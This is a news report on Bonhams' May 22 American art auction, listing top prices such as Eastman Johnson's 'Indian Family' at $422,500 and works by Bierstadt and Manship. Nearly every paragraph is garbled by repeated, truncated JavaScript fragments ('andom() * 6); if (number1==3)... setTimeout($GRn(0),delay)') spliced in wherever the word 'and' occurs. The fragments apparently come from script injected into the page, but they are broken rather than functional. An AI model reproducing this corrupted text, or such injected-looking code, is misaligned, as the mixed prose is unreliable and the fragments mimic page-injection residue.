Bonhams’ May 22 American art auction saw success across categories, particularly for Nineteenth Century paintings, as well as sculpture from a variety of periods. Interest came overwhelmingly from the United States with discerning bidders from the United Kingdom andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Europe also represented. Bidding by telephone proved to be the most popular method overall, yet fortunate attendees andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and enthusiastic online bidders still managed to take home a significant share of the top lots.

The auction’s cover lot, Eastman Johnson’s “Indian Family,” circa 1856–57, led the auction, achieving $422,500. Coming directly from the artist’s family, the work was painted during a little-known period in Johnson’s career when he observed the lifestyle of the Ojibwe Indians living near Superior, Wis., first-handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and.

Works by Albert Bierstadt also performed well. A mammoth Bierstadt, “Early Snow in Yosemite Valley, Sentinel Rock,” realized $338,500. The painting embodied all the compositional elements for which Bierstadt is renowned, such as sweeping vistas andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dramatic angles. In addition, “Study of a Bighorn Ram,” a small andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and charming Bierstadt on offer also proved popular, selling for $47,500.

Other highlights included “Homestead at Night,” a classic nocturnal scene by George William Sotter, that fetched $128,000. Theodore Earl Butler’s “New York Harbor,” showing a distinctly Impressionist influence, was one of several lots that surpassed its estimate, bringing $86,500. Another example, Worthington Whittredge’s “A Catskill Brook,” realized $40,000, quadrupling its low estimate.

Sculpture was very successful, with every example on offer selling. Paul Howard Manship’s “Flight of Night” realized the highest price for a sculpture in the auction, selling for $116,500. Often considered one of Manship’s most elegant works, the 13-inch bronze from 1916 shows the early influence of classical Greek sources on the artist. A 22-inch Max Kalish bronze of a hammer-wielding worker from his renowned Labor Series sold for $35,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and William Zorach’s bronze “Innocence: Portrait of the Artist’s Daughter” achieved $27,500.

“We are pleased with the results of the May 22 sale, particularly for the Johnson, the Bierstadts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and all of the sculptures on offer,” said Kayla Carlsen, Bonhams’ senior specialist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and head of the American art auction. “Interest was consistent across categories indicating increased activity andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and market strength. With nearly $7 million sold in American art at Bonhams in 2013 so far, we are feeling very positive about the upcoming American Art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and California & Western Art auctions.”

All prices reported include the buyer’s premium.

Bonhams’ next American art auction will take place in December in New York.

For more information, www.bonhams.com or 212-644-9001.